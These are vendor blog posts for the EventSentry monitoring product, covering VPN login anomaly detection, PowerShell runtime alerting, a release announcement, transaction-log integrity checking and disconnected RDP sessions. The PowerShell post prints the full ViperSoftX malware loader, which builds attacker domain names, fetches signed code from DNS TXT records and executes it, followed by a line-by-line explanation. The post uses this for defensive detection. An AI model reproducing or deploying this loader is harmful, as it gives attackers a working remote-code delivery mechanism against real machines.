Revealing Suspicious VPN Activity with Anomaly Detection

Anybody who monitors logs of any kinds, knows that the extracting useful information from the gigabytes of data being collected remains one of the biggest challenges. One of the more important metrics to keep an eye on are all sorts of logons that occur in your network – especially if they originate on the Internet – such as VPN logins.

With the introduction of Anomaly Detection in EventSentry v5.1, filtering out suspicious activity – such as logons from previously unknown users or IP addresses – is now possible and can mean the difference between missing or detecting a malicious logon that could wreak a lot of havoc on your network.

What’s unique about EventSentry’s anomaly detection is that it works any type of data – whether it’s from an event (e.g. Windows logon), a log file (e.g. HTTP log) or a Syslog message (e.g. VPN login). As long as the data you are capturing follows a pattern that can be mapped to a regular expression (RegEx), anomaly detection should be able to analyze and report on it. And the best part EventSentry’s anomaly detection is that it works in real-time – alerts about suspicious activity are usually generated within seconds of the event occurring.

Since pfSense firewalls are popular and free, we’ll look at VPN logins in this example. Again, this technique can be applied to any other product, as long as it logs or sends activity to EventSentry and includes both a username and IP address in a single message. Now, let’s cut to the chase and start with the message the pfSense firewall sends when a user logs on:

Jan 13 20:36:00 openvpn[53530]: openvpn server 'ovpns1' user 'domain\username' address '25.22.29.248:12377' - connected

The goal of this exercise is to determine when a user (successfully) logs on from a different IP address, e.g. when their credentials have been compromised. By establishing a baseline and linking usernames to IP addresses, we can flag any previously unseen IP address as suspicious and investigate. This is of course the same concept we apply to other activity on your network – previously unseen processes, logons and so forth.

Back to our VPN message from pfSense. EventSentry supports writing select Syslog messages to the event log, something we’ll have to do in order for the anomaly detection to work. This is configured in the Syslog component of EventSentry’s Network Services, as shown in the screenshot below. You may already have this enabled on your network in which case you would want to add the highlighted line, but if you don’t then simply enable this:

Once enabled, EventSentry will log any Syslog message that matches any of the listed patterns to the event log with event id 500, similar to what’s shown below:

The message logged to the event log is almost identical to the message sent by pfSense, except that EventSentry adds some metadata to indicate where the message was sent from along with the associated facility/severity. Using the regular expression

syslog@(.*)\[kern\/user.notice\].*\suser\s'(.*)'\saddress\s'(.*)\:\d+'.*

we can extract the sender, username and IP address. As a reminder, you can experiment with regular expressions on regex101.com as shown below:

Advanced users can also test the regular expression in the management console, but the regex101 web site provides more feedback that can be helpful when troubleshooting. By creating an event log filter which looks for these Syslog events and applies the regex, the event can then be used as input for the anomaly engine, since it relies solely on insertion strings which are not present in Syslog events by default (technically they are, but not in the format that would be needed).

Note: Even though the filter is an Anomaly filter, the filter type will have to be temporarily set to Include so that the regular expression can be configured in the Advanced dialog. It’s a good idea to test the filter with live data before configuring the Anomaly settings – to ensure that the event you are trying to process matches your filter rule.

With the regular expression override configured, the filter can now be configured for anomalies, using insertion string #2 (the username) as the key, and insertion string #3 (the IP address) as the value. The configuration in the management console should look similar to what is shown below:

As shown in the screenshot above, the filter matches Syslog events from the openvpn server and creates anomaly patterns based on the username and IP address, with a learning period of 1 week.

This means that when a new key (=username) is encountered, the value (=IP address) is recorded and the learning period (1 week) starts. During the learning period, events from the same user are not marked as anomalies and the first and future IP address during the learning period are associated with the username. After the learning period, any new IP address reported will be considered an anomaly.

To summarize, the overall flow of events is shown in the diagram below again:

The final step is to create another filter which will perform the desired notification action when an anomaly is found. This step can be skipped if a method for reporting on anomalies is already present, for example:

  • Require an acknowledgement in the web reports (see below)
  • Send an email notification
  • Open a ticket

The screenshot below shows the advanced filter settings necessary to require an acknowledgement from anomaly events:

This approach can be used to detect anomalies with a variety of inputs, whether the data comes directly from the event log or from an auxiliary data source like Syslog or a log file. As long as the source can be normalized into data pairs that can be fed into the anomaly engine, suspicious network activity can be detected in real time with EventSentry.

Predict the Future! A universal approach to detecting malicious PowerShell activity 

Index 

Introduction 

So, here’s the deal with AntiVirus software these days: It’s mostly playing catch-up with super-fast athletes — the malware guys. Traditional AV software is like old-school detectives who need a picture (or, in this case, a ‘signature’) of the bad guys to know who they’re chasing. The trouble is, these malware creators are quite sneaky — constantly changing their look and creating new disguises faster than AntiVirus can keep up with their photos. 

Malware, Trojans, Ransomware, and the like often involve targeted attacks, meticulously crafted for specific victims. This tailored approach makes them less detectable to Anti-Malware and AV software, as these threats can fly under the radar, thus avoiding the usual detection mechanisms.  
 
But now imagine if, instead of looking for a specific face, you had a smart system that could spot anyone acting suspiciously: Like trying to sneak into a secured building or messing with things they shouldn’t. That’s where EventSentry comes in. It’s not about knowing exactly who the bad guys are, but more about spotting them based on what they’re doing, which can be significantly more effective. 

I encountered Malware which has been circulating for nearly two years, yet it remains undetected by most AV software. This is primarily because these programs rely heavily on signature-based detection. The creators of the malware have altered their method of infection while continuing to use the same VBScript for initialization with the host system. They also use an identical PowerShell script for downloading updated versions of its malware and uploading stolen credentials from infected computers. Interestingly, only about 10% of AntiVirus solutions listed on virustotal.com (6 out of 46) can detect these scripts. (Link 1 / Link 2

This article will illustrate how to set up EventSentry to proactively detect abnormal PowerShell behavior based on a simple property: The runtime duration of the powershell.exe process. Normally, PowerShell scripts run at most for a few minutes – the majority even less. But in this case, the PowerShell script keeps running continuously in the background — something quite unusual. 

Consequently, we will be configuring EventSentry to generate an alert when a host has a PowerShell process running for more than 15 minutes, and also set a second action that can be used to terminate the process, collect more data about the host, etc. Since EventSentry can trigger any process in response to an alert, the options are almost limitless. 

The Malware Code  

The specific Malware we will be looking at is ViperSoftX, but this approach will universally apply to most types of malwares, trojans, and Ransomware that utilize PowerShell. 

ViperSoftX is known for stealing credentials and focusing on crypto wallets. The malware runs a PowerShell script where it executes some of the code it is getting from an obfuscated registry key. It also gets code from a DNS TXT record for later when it tries to contact a website over HTTP. The first versions of this Malware script are from 2020, but even new versions of the script which are still in circulation are from 2022 (Link to VirusTotal). Consider that, at the time of writing, the script below is only detected by 14 of 51 AV programs. 

For educational purposes, the script code is shown below: 

'6D2C511F-7E9A-4E68-BF52-7A8790702FA4';  
$ms = [IO.MemoryStream]::new();  
 
function Get-Updates {  
   param (  
       $hostname  
   )  
   try {  
       $dns = Resolve-DnsName -Name $hostname -Type 'TXT'   
       $ms.SetLength(0);  
       $ms.Position = 0;  
       foreach ($txt in $dns) {  
           try {  
               if ($txt.Type -ne 'TXT') {  
                   continue;  
               }  
               $pkt = [string]::Join('', $txt.Strings);  
               if ($pkt[0] -eq '.') {  
                   $dp = ([type]((([regex]::Matches('trevnoC','.','RightToLeft') | ForEach {$_.value}) -join ''))).GetMethods()[306].Invoke($null, @(($pkt.Substring(1).Replace('_', '+'))));  
                   $ms.Position = [BitConverter]::ToUInt32($dp, 0);  
                   $ms.Write($dp, 4, $dp.Length - 4);  
               }  
           }  
           catch {  
           }  
       }  
 
       if ($ms.Length -gt 136) {  
           $ms.Position = 0;  
           $sig = [byte[]]::new(128);  
           $timestamp = [byte[]]::new(8);  
           $buffer = [byte[]]::new($ms.Length - 136);  
           $ms.Read($sig, 0, 128) | Out-Null;  
           $ms.Read($timestamp, 0, 8) | Out-Null;  
           $ms.Read($buffer, 0, $buffer.Length) | Out-Null;  
           $pubkey = [Security.Cryptography.RSACryptoServiceProvider]::new();  
   [byte[]]$bytarr = 6,2,0,0,0,164,0,0,82,83,65,49,0,4,0,0,1,0,1,0,171,136,19,139,215,31,169,242,133,11,146,105,79,13,140,88,119,0,2,249,79,17,77,152,228,162,31,56,117,89,68,182,194,170,250,16,3,78,104,92,37,37,9,250,164,244,195,118,92,190,58,20,35,134,83,10,229,114,229,137,244,178,10,31,46,80,221,73,129,240,183,9,245,177,196,77,143,71,142,60,5,117,241,54,2,116,23,225,145,53,46,21,142,158,206,250,181,241,8,110,101,84,218,219,99,196,195,112,71,93,55,111,218,209,12,101,165,45,13,36,118,97,232,193,245,221,180,169  
           $pubkey.ImportCspBlob($bytarr);  
           if ($pubkey.VerifyData($buffer, [Security.Cryptography.CryptoConfig]::MapNameToOID('SHA256'), $sig)) {  
               return @{  
                   timestamp = ([System.BitConverter]::ToUInt64($timestamp, 0));  
                   text      = ([Text.Encoding]::UTF8.GetString($buffer));  
               };  
           }   
       }  
   }  
   catch {  
   }  
   return $null;  
}  
 
while ($true) {  
   try {  
       $update = @{  
           timestamp = 0;  
           text      = '';              
       };  
       foreach ($c in (@("com", "xyz"))) {  
           foreach ($a in (@("wmail", "fairu", "bideo", "privatproxy", "ahoravideo"))) {  
               foreach ($b in (@("endpoint", "blog", "chat", "cdn", "schnellvpn"))) {  
                   try {  
                       $h = "$a-$b.$c";  
                       $r = Get-Updates $h  
                       if ($null -ne $r) {  
                           if ($r.timestamp -gt $update.timestamp) {  
                               $update = $r;  
                           }  
                       }  
                   }  
                   catch {  
                   }  
               }  
           }  
       }  
 
       if ($update.text) {  
           $job = Start-Job -ScriptBlock ([scriptblock]::Create($update.text));  
           $job | Wait-Job -Timeout 14400;  
           $job | Stop-Job;  
       }  
   }  
   catch {  
   }  
   Start-Sleep -Seconds 30;  

Malware Code Explanation 

Initial Setup: 

A GUID 6D2C511F-7E9A-4E68-BF52–7A8790702FA4 is defined but not used within the script. 

A MemoryStream ($ms) object is initialized to hold data in memory. 

Function: Get-Updates 

Parameters: 
$hostname: A hostname to be resolved using DNS and queried for TXT records. 

What it does

DNS Query: 
It performs a DNS TXT record query for the $hostname argument 

Data Extraction and Decoding: 
Iterates through each DNS TXT record, extracting and decoding content based on specific conditions and logic. 

Data Writing to MemoryStream: 
Stores the extracted and potentially manipulated data in the $ms variable 

Signature Verification and Data Retrieval: 
Checks if $ms.Length is larger than 136, and if so, it: 

  • Reads and separates data from $ms into three-byte arrays: $sig, $timestamp, and $buffer. 
  • Sets up a predefined public RSA key. 
  • Verifies the $buffer data with the signature $sig is using the RSA public key. If the verification succeeds, returns a hashtable containing: 

timestamp: Converted to UInt64 from the byte array
text: Decoded UTF8 string from $buffer.

Infinite Loop: while ($true) 

  • Nested Iterations: Iterates through predefined strings to construct hostnames in the format “$a-$b.$c”. Calls Get-Updates with the constructed hostname. 
  • Update Execution: If a verified update ($update.text) is found: Executes the code contained within $update.text in a background job.It then waits for up to 14400 seconds (4 hours) for the job to complete, after which it is stopped regardless of completion status. 
  • Sleep: Pauses the script for 30 seconds before the next iteration of the infinite loop. 

Configuring EventSentry to detect suspicious activity 

In light of this specific situation, it is clear that PowerShell scripts should not run for longer than 10 minutes, except in cases where there is a need to export a large list of emails, perform recursive tasks on files, or similar extensive operations. However, such tasks are typically carried out by administrators, making them relatively straightforward to identify (and white-list).  

  • Open EventSentry Management Console
  • From the left menu tree expand Packages and click on System Health (1)
  • From the top ribbon, click on ADD to add a new Package (2)
  • Name the Package (Ex: Threat Intel) and press enter (3)

Screenshot 1 — Creating the Package 

  • Right-click on the just-created filter (1) click on add (2) then Performance / SNMP (3), and then click on the new filter

Screenshot 2 — Creating the performance monitoring object

  • Click on the just-created filter (Performance / SNMP) (1)
  • From the right windows click on (+) button (2), and a new window will open.
  • Under General / Name, Enter the desired name for this filter (3)
  • Right to the Windows Counter, enter “Process(*)\Elapsed Time” (4) or you can also click on Browse, select “Preocess” and under the counter “Elapsed time” and click ok. In that case, be sure to replace “_Total” with “*” 
  • Change the “Exclusions” drop, to “Inclusions” (5)
  • enter “powershell*” (6)
  • Enter a Description for the counter (Optional) (7)
  • Click on Alert Tab (8)

Screenshot 3 — Setting the main properties

  • In Alert tab be sure to have checked the “Enable Event Log Alert” and Warning is selected (1) 
  • Set Alert if value is “more than” (2) 
  • The first field is expressed in seconds, for this example we use 600 (seconds), the equivalent of 10 minutes (3) 
  • for “1” / “Second(s)” (4) 
  • Click OK (5) to finish editing the filter.  

Screenshot 4 — Setting the alert properties

Make sure you assign the package by right clicking on the package and clicking “Assign”, and selecting the Computers or Groups to assign this package to. Alternatively you can make the package Global so that it applies to all hosts.

Screenshot 5 — Assigning the package 

Explanation: We just created a package (Thread Intel) with a filter for Performance / SNMP, that will monitor all processes, but only select “powershell*” (the * is because multiple PowerShell instances will be named powershell#1 powershell#2 and so on). and will generate an alert in the event log if the process is running for more than 600 seconds (10 minutes).  

Wrapping things up 

Configuring EventSentry for monitoring these key behaviors is proactive, not reactive: It’s like having a guard that doesn’t wait for a wanted thief but instead looks out for anyone acting like a thief. 

Relying only on traditional AV software is like using an old map to navigate a city that’s constantly changing. Mixing it up with behavioral monitoring is key to keeping up with the ever-tricky world of Malware. It’s all about being smart and staying one step ahead in the cybersecurity game! 

EventSentry v5.1: Anomaly Detection / Permission Inventory / Training Courses & More!

We’re extremely excited to announce the availability of the EventSentry v5.1, which will detect threats and suspicious behavior more effectively – while also providing users with additional reports and dashboards for CMMC and TISAX compliance. The usability of EventSentry was also improved across the board, making it easier to use, manage and maintain EventSentry on a day-by-day basis.

We also released 60+ training videos to help you get started and take EventSentry to the next level. The videos will be available to everyone for free both on YouTube and in your account area.

Anomaly Detection

One of the best real-time event log monitoring engines got a lot smarter in v5.1 and can now detect unusual behavior like the following:

  • A user who never logged on to a server/workstation
  • A user connects from a remote IP from which he/she usually doesn’t normally connect from
  • A previously unknown process starts
  • A process loads a DLL it has never loaded before (requires Sysmon)

But the best part about the new Anomaly detection is that it’s customizable – so anybody can create their own anomaly rules based on their needs.

Anomaly filters utilize insertion strings of events, so they work best with well-formatted events from the security or Sysmon event logs.

EventSentry ships with a number of built-in anomaly filters, but watch the official training video to understand how anomaly filters work to create your own.

Database Maintenance & Web-Based DB Maintenance Jobs

Also new is the ability to schedule database maintenance jobs directly from the web reports – so it’s no longer necessary to create or edit (embedded) scripts, application or task schedulers just to keep your database size in check. Simply schedule a job in the web reports and review the results after the job completed. The maintenance jobs themselves have also been improved and will attempt to free up disk space after each purge cycle when using the built-in database.

We’ve also improved the database usage page, which now shows significantly more details about the database health, including trends to help identify features that are growing in size.

Dynamic Package Updates

Unlike validation scripts, which (can) automagically update in the background so you can enjoy the latest checks with the click of a button, package updates have been a bit slower and more clunky. But this is all in the past, as package updates use the same update engine like our popular validation scripts, and can now seamlessly keep select packages up to date.

As such, users with active maintenance agreements can expect a lot more package updates to be made available to help you detect and defend against emerging threats. This new functionality also allows you to apply filters rules in JSON format directly into the management console, e.g. from KB articles or blog posts.

Permission Inventory

Keeping NTFS file permissions clean and updated can be a tedious task, even when you follow best practices (e.g. create groups for each file share and assign permissions to those groups), it can be quite difficult to stay on top of all file shares and folders, especially in medium and large-sized networks.

To which files and folders does a user have access? Who has access to critical folders?

EventSentry’s new permission inventory enumerates configured folders and their permissions (on a configurable schedule – e.g. daily), and presents them in the familiar Summary/Detailed view, making it straightforward to answer exactly those questions.

Watch the official training video for more information.

Improved Features

Every database-enabled feature in EventSentry can now store data in multiple databases, something that was previously only available in select features. This will make it easier to store all collected data in an active as well as an archive database simultaneously.

ADMonitor can now send data through the collector, the only component in EventSentry that did previously not have support for the collector.

EventSentray

EventSentray now also shows the network utilization and sports a useful “Internet Test” dialog which can test various aspects of your Internet connection – something that’s especially handy for mobile endpoints (aka “laptops”). The official training video has more information on EventSentray and how to configure & deploy it.

Compliance

Compliance requirements like CMMC, PCI, HIPAA, NIST and others continue to evolve and affect more and more companies. As important as compliance frameworks are with providing structure and guidance, companies often find it difficult to apply what are often vague rules and requirements.

Our new CMMC v2 and TISAX reports/dashboards bring together many features in EventSentry and provide a real-time status and overview of your compliance status. And our new dashboards provide actionable data that can be used to increase the security of your network – not just check boxes.

Usability Improvements

While every EventSentry release tends to incorporate little tweaks and improvements, v5.1 features many usability and troubleshooting enhancements:

  • Insertion strings in filters (when available) now show the name of the string instead of just the number, making it a lot easier to create and manage complex filters.
  • The “Save Configuration” prompt in the management console would often be displayed even when no changes were made. This has been improved significantly and you should see this prompt much less often in v5.1, with more improvements planned in future versions.
  • A new “GoTo” button will jump to any item in the tree that contains the specified text.
  • Collector users can see collector health right in the management console without having to access the web reports, while the collector status page in the web reports also shows the collector latency and throughput of individual agents.

EventSentry Training

In addition to a EventSentry’s comprehensive documentation all users now have access to a 60+ free training videos – with a total runtime of over 10 hours – organized into playlists. All videos are accessible on our YouTube channel in the Playlists section, with a training section on eventsentry.com coming soon as well. We highly encourage you to browse the new training videos – they are useful for new users and experienced users of EventSentry alike. Please upvote videos you enjoyed, we’re also happy for any feedback!

Monitoring Transaction Log Files for PCI compliance

File Integrity Monitoring, aka as FIM, is a must-have feature for anyone in charge of security. With FIM, one can detect when a critical file, such as a file that belongs to the Operating System, or a key configuration file, is changed. In most cases, configuring FIM is straightforward: If the file changes then generate an alert.

This binary approach (no change = good, change = bad) doesn’t work very well with transaction log files however – files that are allowed to change only in that new data can be appended to the log file. A good example are payment transaction logs: These files record transaction data and are supposed to continuously increase in size, but existing data is never supposed to change.

Regular FIM checksum monitoring doesn’t work well in this case since new data being appended to the files on a regular basis would trigger constant checksum alerts. To solve this problem and prevent tampering of log files, we introduced a new feature to our FIM monitoring capabilities in EventSentry v5.0.1.98: Only verify incremental checksums.

How does that work? Every time the file changes (in most cases that would be data being appended to the file), all data up to the previously known file size is verified. After the new data has been successfully written, EventSentry will re-calculate the checksum and wait for more changes. This means that existing data is not allowed to change and will trigger a checksum alert, whereas new data can be added without issue.

As the file grows, only the part of the file that was previously checksummed is verified

If someone where to change an existing part of the log, even if it was at the same time new data is appended, EventSentry would detect the change and trigger a checksum alert.

File Monitoring still works the same exact way in EventSentry, and all that is needed to activate this new feature is to check the “Only verify incremental checksum” box in the file monitoring dialog. This setting will affect all directories monitored by the package.

EventSentry alert after a file checksum changed

Other EventSentry features can be leveraged as well for monitoring (transaction log) files to ensure that critical files are not tampered with.

  1. Log File Monitoring: Content of text-based logs can be transferred to the EventSentry database in real time, essentially creating a searchable backup copy of all content.
  2. File Access Tracking: Utilizing NTFS permissions, all (write) access to the log folder can be tracked, providing an access log of every user who made changes to one or more log files.

Monitoring files that record transactions is useful even outside of PCI compliance, but if your organization needs to be PCI compliant then EventSentry also includes PCI compliance reports out of the box:

Whether it’s for compliance or improving security in general, FIM is an important security tool. In EventSentry, file integrity monitoring can also be used for automation, for example performing certain tasks when a file is added to or removed from a folder.

Are disconnected RDP sessions ticking time bombs in your network?

I think we’ve all been there before – you log on to a server remotely via RDP, and do the needful – but don’t immediately log off. But then you get distracted by a phone call, an email, a chat, or a good old-fashioned physical interaction with another human being.  So when it comes time clock out for the night, you shut down your computer or log off. Or maybe you’ve been working on a laptop and your VPN got interrupted. The result is the same – previously active RDP sessions are automatically disconnected. Or maybe one (not you, of course) purposely disconnects their session so that the next login process is faster.

Well whatever may be the reason, a key issue with disconnected RDP sessions is that, by default, they remain connected indefinitely until the server gets rebooted, you login again (because you forgot to do something?), or a coworker notices the offense and politely requests you log off.

At this point you’re probably thinking “OK, yes, but who really cares“? With all the serious stuff that’s going on around you, you’re probably wondering why the heck you suddenly need to worry about disconnected RDP sessions? Well, disconnected RDP sessions can be problematic for a number of reasons:


Potential Issues

Confusion

It can be confusing when you’re logging on to a server and notice that another user is logged on, even if it’s just a disconnected session. Are they doing important stuff? Can the other user by logged off? Or you’re trying to reboot a server, but the infamous “Other users are currently logged on … ” message pops up. Assuming you’re polite, you’ll reach out to the disconnected fellow to ensure that the user isn’t running any important apps. In short, it’s a pain. And we all have enough pain as it is, do we not?

Security

So this is the fun one and, I admit, the real reason for this blog post (no, it was not the confusion). Turns out that any local administrator has the ability to hijack any disconnected session on the server he or she is an administrator on. And while this doesn’t sound like a huge problem at first (if the user is already an admin, then he can do anything blah blah), there is a very specific scenario where this is a significant security risk. Being an admin on a machine is a great privilege, but hardly the key to the kingdom. If a domain admin (or even worse, an Enterprise Admin!) however logs on to the same host and disconnects their session, then the local admin can promote himself/herself to domain admin at no cost (EventSentry would of course detect this) by simply taking over the disconnected session. The process involves only a handful of commands, one of which is creating a temporary service (EventSentry would detect this also).

Resource Consumption

Processes from disconnected sessions do continue to run and consume some processing power, which can be an issue in environments with limited computing power or cloud environments where you pay for CPU time. It’s unlikely to have a large impact but it could add up for larger deployments.

I’m hoping that we can (almost) all agree now that disconnected sessions have a number of drawbacks, so let’s move on to ways to address this.


Solutions

User Education

While there are ways to forcefully log off idle users (see below), I think it’s important to make your admins aware that disconnected sessions pose a security risk, but also communicate to your users in general that disconnected sessions should be avoided when necessary. While this won’t solve the problem entirely, it will hopefully get some of your users to be more aware.

Notifications

EventSentry users can utilize filter timers to get notified when a user has been logged on to a server too long. Those not familiar with filter timers can learn more about them here. In short, filter timers work with events that are usually logged in pairs – such as a process start/process end, logon/logoff, service stop/service start etc – and can notify you when such an event pair is incomplete. For example, a logon is recorded but not followed by a logoff within a certain amount of time (the time period is configurable).

So in this scenario, a user’s logon event would start a filter timer that essentially puts the original event on hold. It won’t forward it to a notification just yet – only if the timer expires and no subsequent event has deleted the timer. A later logoff event (that is linked to the logon event via some property of the event like a login ID) would end the filter timer. If the logoff event does not happen (or happen too late), EventSentry will release the pending (logon) event and can send a notification to let either the team or the user know (if the login pattern matches email addresses) that the filter time has expired.

BONUS: If the Windows username can be matched to an email address (e.g. username is john.doe and the email address is john.doe@mycorp.com), then EventSentry can even send an email directly to the user (opposed to a generic email) reminding them to log off. Even better, the email can be customized and provide specific instructions. See KB 465 for instructions on how to configure this in EventSentry. The screenshot below shows such a customized email.

Disclaimer: This method doesn’t necessarily distinguish between users who are logged on and users who have disconnected sessions. It detects that a user has had a Windows session active for an extended time period. In most cases this should work reasonably well to detect disconnected sessions as well. especially with longer timer periods (since most users don’t need to be logged on to a server for many hours).

Forcibly logging off disconnected sessions

When you tried your best the nice way using education and emails and it’s just not working, well, then it turns out that Windows allows you to use the nuclear button – logging off disconnected user sessions after a certain time. Since this can be configured via group policy, implementing this is fairly easy. Simply create a new group policy and assign it to appropriate OU(s) and configure the following setting:

Local Computer Policy
   |-- Computer Configuration
       |-- Administrative Templates
           |-- Windows Components
               |-- Remote Desktop Services
                   |-- Remote Desktop Session Host
                       |-- Session Time Limits

Then simply enable the option and configure an appropriate time limit. The available timeout options are actually quite useful and range from 1 minute (which pretty much converts a disconnect with a logoff) all the way up to 5 days (which is better than nothing I suppose, but why even bother at that point?). What option you select here largely depends on how concerned you are about resource usage and sessions being hijacked. I personally would recommend a lower end of 30 minutes up to 8 hours at the maximum.

Validating RDP settings with EventSentry Validation Scripts

EventSentry includes two validation scripts that validate whether RDP session timeouts are enabled:

1. Disconnect sessions after user is idle for X minutes
2. Logoff disconnected sessions after X minutes

Conclusion

Disconnected RDP sessions aren’t an immediate security risk, since they require an intruder to somehow gain admin rights on a domain member machine first. Sophisticated attacks however rarely involve just one step, but usually take advantage of multiple vulnerabilities and exploits. Since there are few to no downsides to notifying or even logging off users after a certain amount of time, I would recommend to follow the recommendations outlined in this blog post.